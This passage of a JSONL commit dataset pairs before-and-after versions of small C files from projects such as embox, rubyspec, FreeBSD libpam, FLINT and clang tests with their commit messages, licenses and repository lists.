<kernel\/cpu\/cpu.h>\n\n\/*\n * Function, which does nothing. For idle_thread.\n *\/\nstatic void *idle_run(void *arg) {\n\twhile (true) {\n\t\tarch_idle();\n\t}\n\treturn NULL;\n}\n\n\nstruct thread *idle_thread_create(void) {\n\tstruct thread *t;\n\n\tt = thread_create(THREAD_FLAG_NOTASK | THREAD_FLAG_SUSPENDED, idle_run,\n\t\t\tNULL);\n\n\tif(err(t)) {\n\t\treturn NULL;\n\t}\n\n\tt->task = task_kernel_task();\n\tt->task->main_thread = t;\n\n\tthread_priority_init(t, SCHED_PRIORITY_MIN);\n\n\tcpu_init(cpu_get_id(), t);\n\n\treturn t;\n}\n","subject":"Rework idle thread a little","message":"thread: Rework idle thread a little","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,Kefir0192\/embox,Kefir0192\/embox,abusalimov\/embox,Kefir0192\/embox,Kakadu\/embox,Kakadu\/embox,mike2390\/embox,Kakadu\/embox,mike2390\/embox,embox\/embox,embox\/embox,embox\/embox,vrxfile\/embox-trik,Kefir0192\/embox,mike2390\/embox,abusalimov\/embox,embox\/embox,gzoom13\/embox,Kefir0192\/embox,vrxfile\/embox-trik,mike2390\/embox,vrxfile\/embox-trik,embox\/embox,Kefir0192\/embox,Kakadu\/embox,abusalimov\/embox,Kakadu\/embox,gzoom13\/embox,mike2390\/embox,vrxfile\/embox-trik,gzoom13\/embox,gzoom13\/embox,vrxfile\/embox-trik,Kefir0192\/embox,abusalimov\/embox,gzoom13\/embox,gzoom13\/embox,Kakadu\/embox,vrxfile\/embox-trik,mike2390\/embox,gzoom13\/embox,vrxfile\/embox-trik,Kakadu\/embox,abusalimov\/embox,abusalimov\/embox,mike2390\/embox"}
{"commit":"c5830a1737debef34ada45a42be2cd1858978898","old_file":"src\/ConfigurationManager.h","new_file":"src\/ConfigurationManager.h","old_contents":"#include \"ArduinoHeader.h\"\n#include <EEPROMex.h>\n#include <Logging.h>\n\n\/\/ Configuration version to determine data integrity.\n#define CONFIG_VERSION \"000\"\n\n\/\/ Size of the configuration block memory pool.\n#define CONFIG_MEMORY_SIZE 32\n\n\/\/ EEPROM size. Bad things will happen if this isn't set correctly.\n#define CONFIG_EEPROM_SIZE EEPROMSizeATmega328\n\nclass ConfigurationManager {\n    private:\n        \/\/ Config memory address, used to determine where to read and write data.\n        int configuration_address = 0;\n\n        struct Configuration {\n            char version[4];\n            bool debug;\n            uint8_t loop_delay;\n\n            struct {\n                uint8_t input_buffer_size;\n                uint16_t baud_rate;\n            } serial;\n        } DEFAULT_CONFIGURATION = {\n            CONFIG_VERSION,\n            true,\n            50,\n            {\n                50,\n                9600\n            }\n        };\n\n    public:\n        Configuration data = DEFAULT_CONFIGURATION;\n\n        ConfigurationManager();\n        void load(char* = 0);\n        void save(char* = 0);\n};\n","new_contents":"#include \"ArduinoHeader.h\"\n#include <EEPROMex.h>\n#include <Logging.h>\n\n\/\/ Configuration version to determine data integrity.\n#define CONFIG_VERSION \"001\"\n\n\/\/ Size of the configuration block memory pool.\n#define CONFIG_MEMORY_SIZE 32\n\n\/\/ EEPROM size. Bad things will happen if this isn't set correctly.\n#define CONFIG_EEPROM_SIZE EEPROMSizeATmega328\n\nclass ConfigurationManager {\n    private:\n        \/\/ Config memory address, used to determine where to read and write data.\n        int configuration_address = 0;\n\n        struct Configuration {\n            char version[4];\n            bool debug;\n            uint16_t loop_delay;\n\n            struct {\n                uint8_t input_buffer_size;\n                uint32_t baud_rate;\n            } serial;\n        } DEFAULT_CONFIGURATION = {\n            CONFIG_VERSION,\n            true,\n            50,\n            {\n                50,\n                9600\n            }\n        };\n\n    public:\n        Configuration data = DEFAULT_CONFIGURATION;\n\n        ConfigurationManager();\n        void load(char* = 0);\n        void save(char* = 0);\n};\n","subject":"Allow for loop delays up to 2^4 ms. Allow for baud rates up to 2^32.","message":"Allow for loop delays up to 2^4 ms.\nAllow for baud rates up to 2^32.\n\nSigned-off-by: Kalman Olah <aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d@kalmanolah.net>\n","lang":"C","license":"mit","repos":"kalmanolah\/kalmon-fw,kalmanolah\/kalmon-fw"}
{"commit":"401825d6045ab8e3bd1514404e7c326a045a92ae","old_file":"optional\/capi\/ext\/proc_spec.c","new_file":"optional\/capi\/ext\/proc_spec.c","old_contents":"#include <string.h>\n\n#include \"ruby.h\"\n#include \"rubyspec.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifdef HAVE_RB_PROC_NEW\nVALUE concat_func(VALUE args) {\n  int i;\n  char buffer[500] = {0};\n  if (TYPE(val) != T_ARRAY) return Qnil;\n  for(i = 0; i < RARRAY_LEN(args); ++i) {\n    VALUE v = RARRAY_PTR(args)[i];\n    strcat(buffer, StringValuePtr(v));\n    strcat(buffer, \"_\");\n  }\n  buffer[strlen(buffer) - 1] = 0;\n  return rb_str_new2(buffer);\n\n}\n\nVALUE sp_underline_concat_proc(VALUE self) {\n  return rb_proc_new(concat_func, Qnil);\n}\n#endif\n\nvoid Init_proc_spec() {\n  VALUE cls;\n  cls = rb_define_class(\"CApiProcSpecs\", rb_cObject);\n\n#ifdef HAVE_RB_PROC_NEW\n  rb_define_method(cls, \"underline_concat_proc\", sp_underline_concat_proc, 0);\n#endif\n}\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"#include <string.h>\n\n#include \"ruby.h\"\n#include \"rubyspec.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifdef HAVE_RB_PROC_NEW\nVALUE concat_func(VALUE args) {\n  int i;\n  char buffer[500] = {0};\n  if (TYPE(args) != T_ARRAY) return Qnil;\n  for(i = 0; i < RARRAY_LEN(args); ++i) {\n    VALUE v = RARRAY_PTR(args)[i];\n    strcat(buffer, StringValuePtr(v));\n    strcat(buffer, \"_\");\n  }\n  buffer[strlen(buffer) - 1] = 0;\n  return rb_str_new2(buffer);\n\n}\n\nVALUE sp_underline_concat_proc(VALUE self) {\n  return rb_proc_new(concat_func, Qnil);\n}\n#endif\n\nvoid Init_proc_spec() {\n  VALUE cls;\n  cls = rb_define_class(\"CApiProcSpecs\", rb_cObject);\n\n#ifdef HAVE_RB_PROC_NEW\n  rb_define_method(cls, \"underline_concat_proc\", sp_underline_concat_proc, 0);\n#endif\n}\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Fix typo in the commit a5312c77.","message":"Fix typo in the commit a5312c77.\n","lang":"C","license":"mit","repos":"julik\/rubyspec,mrkn\/rubyspec,no6v\/rubyspec,ruby\/spec,josedonizetti\/rubyspec,wied03\/rubyspec,timfel\/rubyspec,jstepien\/rubyspec,benburkert\/rubyspec,Aesthetikx\/rubyspec,timfel\/rubyspec,iliabylich\/rubyspec,rdp\/rubyspec,alindeman\/rubyspec,markburns\/rubyspec,kachick\/rubyspec,xaviershay\/rubyspec,rdp\/rubyspec,rkh\/rubyspec,amarshall\/rubyspec,yaauie\/rubyspec,saturnflyer\/rubyspec,sgarciac\/spec,ericmeyer\/rubyspec,saturnflyer\/rubyspec,griff\/rubyspec,qmx\/rubyspec,alexch\/rubyspec,eregon\/rubyspec,BanzaiMan\/rubyspec,benlovell\/rubyspec,freerange\/rubyspec,enricosada\/rubyspec,nevir\/rubyspec,oggy\/rubyspec,nevir\/rubyspec,yaauie\/rubyspec,qmx\/rubyspec,sferik\/rubyspec,alindeman\/rubyspec,benburkert\/rubyspec,flavio\/rubyspec,DavidEGrayson\/rubyspec,yous\/rubyspec,ruby\/spec,JuanitoFatas\/rubyspec,kidaa\/rubyspec,godfat\/rubyspec,ruby\/rubyspec,jannishuebl\/rubyspec,tinco\/rubyspec,iliabylich\/rubyspec,MagLev\/rubyspec,Aesthetikx\/rubyspec,Zoxc\/rubyspec,ruby\/rubyspec,tinco\/rubyspec,amarshall\/rubyspec,DawidJanczak\/rubyspec,ericmeyer\/rubyspec,yb66\/rubyspec,alex\/rubyspec,ruby\/spec,metadave\/rubyspec,marcandre\/rubyspec,oggy\/rubyspec,iainbeeston\/rubyspec,shirosaki\/rubyspec,atambo\/rubyspec,eregon\/rubyspec,roshats\/rubyspec,sferik\/rubyspec,scooter-dangle\/rubyspec,jannishuebl\/rubyspec,julik\/rubyspec,atambo\/rubyspec,BanzaiMan\/rubyspec,wied03\/rubyspec,nobu\/rubyspec,MagLev\/rubyspec,nobu\/rubyspec,benlovell\/rubyspec,jstepien\/rubyspec,mbj\/rubyspec,bomatson\/rubyspec,metadave\/rubyspec,agrimm\/rubyspec,JuanitoFatas\/rubyspec,flavio\/rubyspec,bjeanes\/rubyspec,enricosada\/rubyspec,lucaspinto\/rubyspec,neomadara\/rubyspec,DawidJanczak\/rubyspec,xaviershay\/rubyspec,bjeanes\/rubyspec,godfat\/rubyspec,bl4ckdu5t\/rubyspec,markburns\/rubyspec,terceiro\/rubyspec,alexch\/rubyspec,freerange\/rubyspec,griff\/rubyspec,alex\/rubyspec,scooter-dangle\/rubyspec,nobu\/rubyspec,Zoxc\/rubyspec,jvshahid\/rubyspec,yb66\/rubyspec,neomadara\/rubyspec,marcandre\/rubyspec,sgarciac\/spec,wied03\/rubyspec,DavidEGrayson\/rubyspec,no6v\/rubyspec,bl4ckdu5t\/rubyspec,yous\/rubyspec,terceiro\/rubyspec,chesterbr\/rubyspec,mrkn\/rubyspec,kidaa\/rubyspec,josedonizetti\/rubyspec,bomatson\/rubyspec,teleological\/rubyspec,eregon\/rubyspec,rkh\/rubyspec,kachick\/rubyspec,shirosaki\/rubyspec,mbj\/rubyspec,askl56\/rubyspec,kachick\/rubyspec,jvshahid\/rubyspec,agrimm\/rubyspec,chesterbr\/rubyspec,teleological\/rubyspec,iainbeeston\/rubyspec,sgarciac\/spec,lucaspinto\/rubyspec,roshats\/rubyspec,askl56\/rubyspec"}
{"commit":"94faf605095f82734883f40c30da1a2154c4efa6","old_file":"lib\/libpam\/libpam\/security\/pam_mod_misc.h","new_file":"lib\/libpam\/libpam\/security\/pam_mod_misc.h","old_contents":"","new_contents":"\/*-\n * Copyright 1998 Juniper Networks, Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\t$FreeBSD$\n *\/\n\n#ifndef PAM_MOD_MISC_H\n#define PAM_MOD_MISC_H\n\n#include <sys\/cdefs.h>\n\n\/* Options *\/\n#define PAM_OPT_DEBUG\t\t\t0x01\n#define PAM_OPT_NO_WARN\t\t\t0x02\n#define PAM_OPT_USE_FIRST_PASS\t\t0x04\n#define\tPAM_OPT_TRY_FIRST_PASS\t\t0x08\n#define PAM_OPT_USE_MAPPED_PASS\t\t0x10\n#define PAM_OPT_ECHO_PASS\t\t0x20\n\n__BEGIN_DECLS\nint\t pam_get_pass(pam_handle_t *, const char **, const char *, int);\nint\t pam_prompt(pam_handle_t *, int, const char *, char **);\nint\t pam_std_option(int *, const char *);\n__END_DECLS\n\n#endif\n","subject":"Build structure for contribified Linux-PAM, plus some home-grown modules for FreeBSD's standard authentication methods. Although the Linux-PAM modules are present in the contrib tree, we don't use any of them.","message":"Build structure for contribified Linux-PAM, plus some home-grown\nmodules for FreeBSD's standard authentication methods.  Although\nthe Linux-PAM modules are present in the contrib tree, we don't\nuse any of them.\n\nThe main library \"libpam\" is composed of sources taken from three\nplaces.  First are the standard Linux-PAM libpam sources from the\ncontrib tree.  Second are the Linux-PAM \"libpam_misc\" sources, also\nfrom the contrib tree.  In Linux these form a separate library.\nBut as Mike Smith pointed out to me, that seems pointless, so I\nhave combined them into the libpam library.  Third are some additional\nsources from the \"src\/lib\/libpam\" tree with some common functions\nthat make it easier to write modules.  Those I wrote myself.\n\nThis work has been donated to FreeBSD by Juniper Networks, Inc.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"2c22f2ef4105cb99c5fadf3bed796641c0993c79","old_file":"include\/config.h","new_file":"include\/config.h","old_contents":"#ifndef CONFIG_H_INCLUDED\r\n#define CONFIG_H_INCLUDED\r\n\r\n#define DBVERSION\t\"0.0.5\"\n#define IDXVERSION\t\"0.0.5\"\r\n\r\n#endif \/\/ CONFIG_H_INCLUDED\r\n","new_contents":"#ifndef CONFIG_H_INCLUDED\r\n#define CONFIG_H_INCLUDED\r\n\r\n#define DBVERSION\t\"0.0.5\"\n#define IDXVERSION\t\"0.0.5\"\n\n#define INITDB\t\t\"i1\"\r\n\r\n#endif \/\/ CONFIG_H_INCLUDED\r\n","subject":"Set default database to i1","message":"Set default database to i1\n","lang":"C","license":"bsd-3-clause","repos":"yorickdewid\/Quantica,yorickdewid\/Quantica,yorickdewid\/Quantica,yorickdewid\/Quantica"}
{"commit":"e15920730f75a94866f7cdc955e442aec0b722d4","old_file":"gen_message_hashes\/hash_func.h","new_file":"gen_message_hashes\/hash_func.h","old_contents":"static inline uint32_t hash_func_string(const char* key)\n{\n\tuint32_t hash = 0;\n\tint c;\n\twhile ((c = *key++) != 0)\n\t\thash = c + (hash << 6) + (hash << 16) - hash;\n\treturn hash;\n}\n\n","new_contents":"static inline uint32_t hash_func_string(const char* key)\n{\n\tuint32_t hash = 0;\n\tuint32_t c;\n\twhile ((c = (uint32_t)*key++) != 0)\n\t\thash = c + (hash << 6u) + (hash << 16u) - hash;\n\treturn hash;\n}\n\n","subject":"Correct signedness to prevent some warnings.","message":"Correct signedness to prevent some warnings.\n","lang":"C","license":"mit","repos":"gatzka\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet"}
{"commit":"2ead85de8a68ae2ae009acd7eb2439274d4ab50a","old_file":"src\/qt\/bitcoinaddressvalidator.h","new_file":"src\/qt\/bitcoinaddressvalidator.h","old_contents":"#ifndef BITCOINADDRESSVALIDATOR_H\n#define BITCOINADDRESSVALIDATOR_H\n\n#include <QValidator>\n\n\/** Base48 entry widget validator.\n   Corrects near-miss characters and refuses characters that are no part of base48.\n *\/\nclass BitcoinAddressValidator : public QValidator\n{\n    Q_OBJECT\n\npublic:\n    explicit BitcoinAddressValidator(QObject *parent = 0);\n\n    State validate(QString &input, int &pos) const;\n\n    static const int MaxAddressLength = 35;\n};\n\n#endif \/\/ BITCOINADDRESSVALIDATOR_H\n","new_contents":"#ifndef BITCOINADDRESSVALIDATOR_H\n#define BITCOINADDRESSVALIDATOR_H\n\n#include <QValidator>\n\n\/** Base58 entry widget validator.\n   Corrects near-miss characters and refuses characters that are not part of base58.\n *\/\nclass BitcoinAddressValidator : public QValidator\n{\n    Q_OBJECT\n\npublic:\n    explicit BitcoinAddressValidator(QObject *parent = 0);\n\n    State validate(QString &input, int &pos) const;\n\n    static const int MaxAddressLength = 35;\n};\n\n#endif \/\/ BITCOINADDRESSVALIDATOR_H\n","subject":"Fix typo in a comment: it's base58, not base48.","message":"Fix typo in a comment: it's base58, not base48.\n","lang":"C","license":"mit","repos":"dobbscoin\/dobbscoin-source,dobbscoin\/dobbscoin-source,Earlz\/dobbscoin-source,Earlz\/dobbscoin-source,Earlz\/dobbscoin-source,dobbscoin\/dobbscoin-source,dobbscoin\/dobbscoin-source,Earlz\/dobbscoin-source,Earlz\/dobbscoin-source,dobbscoin\/dobbscoin-source,dobbscoin\/dobbscoin-source,Earlz\/dobbscoin-source"}
{"commit":"1604bcf2799e03a3191187cbebf815af01a2cdc1","old_file":"src\/qhttpbasicauth_p.h","new_file":"src\/qhttpbasicauth_p.h","old_contents":"\/*\n * Copyright (c) 2015 Nathan Osman\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n *\/\n\n#ifndef QHTTPENGINE_QHTTPBASICAUTHPRIVATE_H\n#define QHTTPENGINE_QHTTPBASICAUTHPRIVATE_H\n\n#include <QMap>\n#include <QObject>\n\nclass QHttpBasicAuthPrivate : public QObject\n{\n    Q_OBJECT\n\npublic:\n\n    explicit QHttpBasicAuthPrivate(QObject *parent, const QString &realm);\n\n    const QString &realm;\n    QMap<QString, QString> map;\n};\n\n#endif \/\/ QHTTPENGINE_QHTTPBASICAUTHPRIVATE_H\n","new_contents":"\/*\n * Copyright (c) 2015 Nathan Osman\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n *\/\n\n#ifndef QHTTPENGINE_QHTTPBASICAUTHPRIVATE_H\n#define QHTTPENGINE_QHTTPBASICAUTHPRIVATE_H\n\n#include <QMap>\n#include <QObject>\n\nclass QHttpBasicAuthPrivate : public QObject\n{\n    Q_OBJECT\n\npublic:\n\n    explicit QHttpBasicAuthPrivate(QObject *parent, const QString &realm);\n\n    const QString realm;\n    QMap<QString, QString> map;\n};\n\n#endif \/\/ QHTTPENGINE_QHTTPBASICAUTHPRIVATE_H\n","subject":"Fix runtime bug caused by typo.","message":"Fix runtime bug caused by typo.\n","lang":"C","license":"mit","repos":"nitroshare\/qhttpengine"}
{"commit":"161140c5ddb1f695e03ac03648f5e11ea9204fdf","old_file":"src\/core\/core.h","new_file":"src\/core\/core.h","old_contents":"\/**\n * ---------------------------------------------------------------------------\n * @file   core.h\n * @brief  The package header.\n *\n *\/\n#pragma once\n\n#include \".\/types.h\"\n#include \".\/error.h\"\n#include \".\/fault.h\"\n#include \".\/trace.h\"\n#include \".\/results.h\"\n#include \".\/cast.h\"\n","new_contents":"\/**\n * ---------------------------------------------------------------------------\n * @file   core.h\n * @brief  The package header.\n *\n *\/\n#pragma once\n\n#include \".\/types.h\"\n#include \".\/error.h\"\n#include \".\/fault.h\"\n#include \".\/trace.h\"\n#include \".\/results.h\"\n#include \".\/cast.h\"\n#include \".\/memory.h\"\n","subject":"Add memory module to package header","message":"Add memory module to package header\n","lang":"C","license":"mit","repos":"MaxRoecker\/crux_algorithms-c,MaxRoecker\/crux_algorithms-c"}
{"commit":"b5fdfdd0eebe56bb22c0e7b7c462689b2dc1370a","old_file":"fmpz_mod_poly_factor\/inlines.c","new_file":"fmpz_mod_poly_factor\/inlines.c","old_contents":"","new_contents":"\/*=============================================================================\n\n    This file is part of FLINT.\n\n    FLINT is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    FLINT is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with FLINT; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301 USA\n\n=============================================================================*\/\n\/******************************************************************************\n\n    Copyright (C) 2015 Tommy Hofmann\n\n******************************************************************************\/\n\n#define FMPZ_MOD_POLY_FACTOR_INLINES_C\n\n#define ulong ulongxx \/* interferes with system includes *\/\n#include <stdlib.h>\n#include <stdio.h>\n#undef ulong\n#include <gmp.h>\n#include \"flint.h\"\n#include \"ulong_extras.h\"\n#include \"nmod_poly.h\"\n\nvoid fmpz_mod_poly_factor_get_fmpz_mod_poly(fmpz_mod_poly_t z, fmpz_mod_poly_factor_t fac, slong i)\n{\n    fmpz_mod_poly_set(z, fac->p + i);\n}\n\n","subject":"Add missing inline for accessing factors in fmpz_mod_poly.","message":"Add missing inline for accessing factors in fmpz_mod_poly.\n","lang":"C","license":"lgpl-2.1","repos":"wbhart\/flint2,wbhart\/flint2,fredrik-johansson\/flint2,jpflori\/flint2,jpflori\/flint2,jpflori\/flint2,wbhart\/flint2,dsroche\/flint2,dsroche\/flint2,fredrik-johansson\/flint2,dsroche\/flint2,jpflori\/flint2,dsroche\/flint2,fredrik-johansson\/flint2"}
{"commit":"8c7971542f8cdd52b4c570978a036f288bfb3dee","old_file":"bst.h","new_file":"bst.h","old_contents":"#include <stdlib.h>\n#ifndef __BST_H__\n#define __BST_H__\nstruct BSTNode;\nstruct BST;\ntypedef struct BSTNode BSTNode;\ntypedef struct BST BST;\n\nBST* BST_Create(void);\nBSTNode* BSTNode_Create(void* k);\nvoid BST_Inorder_Tree_Walk(BST* T, void (f)(void*));\nvoid BST_Preorder_Tree_Walk(BST* T, void (f)(void*));\nvoid BST_Postorder_Tree_Walk(BST* T, void (f)(void*));\nBSTNode* BST_Tree_Search(BST* T, void* k, int (f)(void*, void*));\nBSTNode* BST_Iterative_Tree_Search(BST* T, void* k, int (f)(void*, void*));\n\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __BST_H__\n#define __BST_H__\nstruct BSTNode;\nstruct BST;\ntypedef struct BSTNode BSTNode;\ntypedef struct BST BST;\n\nBST* BST_Create(void);\nBSTNode* BSTNode_Create(void* k);\nvoid BST_Inorder_Tree_Walk(BST* T, void (f)(void*));\nvoid BST_Preorder_Tree_Walk(BST* T, void (f)(void*));\nvoid BST_Postorder_Tree_Walk(BST* T, void (f)(void*));\nBSTNode* BST_Tree_Search(BST* T, void* k, int (f)(void*, void*), int (g)(void*, void*));\nBSTNode* BST_Iterative_Tree_Search(BST* T, void* k, int (f)(void*, void*), int (g)(void*, void*));\n\n#endif","subject":"Add missing key comparison function parameter","message":"Add missing key comparison function parameter\n\nSeparate key comparison functions required\n    Equality\n    Order\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"9c73c8ef2859205a006eac2a31d43708f8e49dcd","old_file":"list.c","new_file":"list.c","old_contents":"#include \"list.h\"\n\nstruct ListNode\n{\n\tListNode* prev;\n\tListNode* next;\n\tvoid* k;\n};\n\nstruct List\n{\n\tListNode* head;\n};\n\nList* List_Create(void)\n{\n\tList* l = (List *)malloc(sizeof(List));\n\tl->head = NULL;\n\treturn l;\n}\n","new_contents":"#include \"list.h\"\n\nstruct ListNode\n{\n\tListNode* prev;\n\tListNode* next;\n\tvoid* k;\n};\n\nstruct List\n{\n\tListNode* head;\n};\n\nList* List_Create(void)\n{\n\tList* l = (List *)malloc(sizeof(List));\n\tl->head = NULL;\n\treturn l;\n}\n\nListNode* ListNode_Create(void* k)\n{\n\tListNode* n = (ListNode *)malloc(sizeof(ListNode));\n\tn->prev = NULL;\n\tn->next = NULL;\n\tn->k = k;\n\treturn n;\n}\n","subject":"Add List Node creation function implementation","message":"Add List Node creation function implementation\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"0c14190ae46a470fe929a764e1ac8ada2236b330","old_file":"test\/CodeGen\/2010-05-26-AsmSideEffect.c","new_file":"test\/CodeGen\/2010-05-26-AsmSideEffect.c","old_contents":"\/\/ RUN: %clang_cc1 %s -emit-llvm -o - | FileCheck %s\n\/\/ Radar 8026855\n\nint test (void *src) {\n  register int w0 asm (\"0\");\n  \/\/ CHECK: call i32 asm \"ldr $0, [$1]\", \"={ax},r,~{dirflag},~{fpsr},~{flags}\"(i8* %tmp)\n  asm (\"ldr %0, [%1]\": \"=r\" (w0): \"r\" (src));\n  return w0;\n}\n","new_contents":"\/\/ RUN: %clang_cc1 %s -emit-llvm -o - | FileCheck %s\n\/\/ Radar 8026855\n\nint test (void *src) {\n  register int w0 asm (\"0\");\n  \/\/ CHECK: call i32 asm \"ldr $0, [$1]\", \"={ax},r,~{dirflag},~{fpsr},~{flags}\"(i8*\n  asm (\"ldr %0, [%1]\": \"=r\" (w0): \"r\" (src));\n  return w0;\n}\n","subject":"Rewrite match line to be friendlier to misc buildbots.","message":"Rewrite match line to be friendlier to misc buildbots.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@136169 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"ab5f015eeed6c4d4bc72f0cf9dfc680b04832198","old_file":"thb\/src\/codetree.h","new_file":"thb\/src\/codetree.h","old_contents":"#ifndef CODETREE_H\n#define\tCODETREE_H\n\n#include \"constants.h\"\n\ntypedef struct operation{\n    char *sign;\n    bool isCommunitative;\n    bool isAssociative;\n    int precedence;\n} Operation;\n\ntypedef struct node{\n    char *name;\n    Operation *op;\n    struct node *left;\n    struct node *right;\n    bool isRoot;\n    int rank;\n    bool isConstant;\n} Node;\n\ntypedef struct list_item {\n    struct list_item *left;\n    struct list_item *right;\n    Node *data;\n} ListItem;\n\n\n\n\/* functions for tree nodes*\/\nOperation *newOp(char *sign, int com, int ass, int precedence);\nNode *newNode(char *data);\nNode *newNodeWithChildren(char *data, Operation *op, Node *left, Node *right);\n\n\/* functions for lists *\/\nListItem * new_list();\nListItem * insert_right(struct list_item *list, Node* data);\nListItem * delete(struct list_item *list);\n\nNode *nodeByName(ListItem* forest, char * name);\n\n#endif\t\/* CODETREE_H *\/\n","new_contents":"#ifndef CODETREE_H\n#define\tCODETREE_H\n\n#include \"constants.h\"\n\ntypedef struct operation{\n    char *sign;\n    bool isCommunitative;\n    bool isAssociative;\n    int precedence;\n} Operation;\n\ntypedef struct node{\n    char *name;\n    Operation *op;\n    struct node *left;\n    struct node *right;\n    bool isRoot;\n    int rank;\n    bool isConstant;\n} Node;\n\ntypedef struct list_item {\n    struct list_item *left;\n    struct list_item *right;\n    Node *data;\n} ListItem;\n\n\n\/* functions for tree nodes*\/\nOperation *newOp(char *sign, int com, int ass, int precedence);\nNode *newNode(char *data);\nNode *newNodeWithChildren(char *data, Operation *op, Node *left, Node *right);\n\n\/* functions for lists *\/\nListItem * new_list();\nListItem * insert_right(struct list_item *list, Node* data);\nListItem * delete(struct list_item *list);\n\nNode *nodeByName(ListItem* forest, char * name);\n\n#endif\t\/* CODETREE_H *\/\n","subject":"Test for new system clock","message":"Test for new system clock\n","lang":"C","license":"mit","repos":"danielvogel\/Tree-Height-Balancing"}
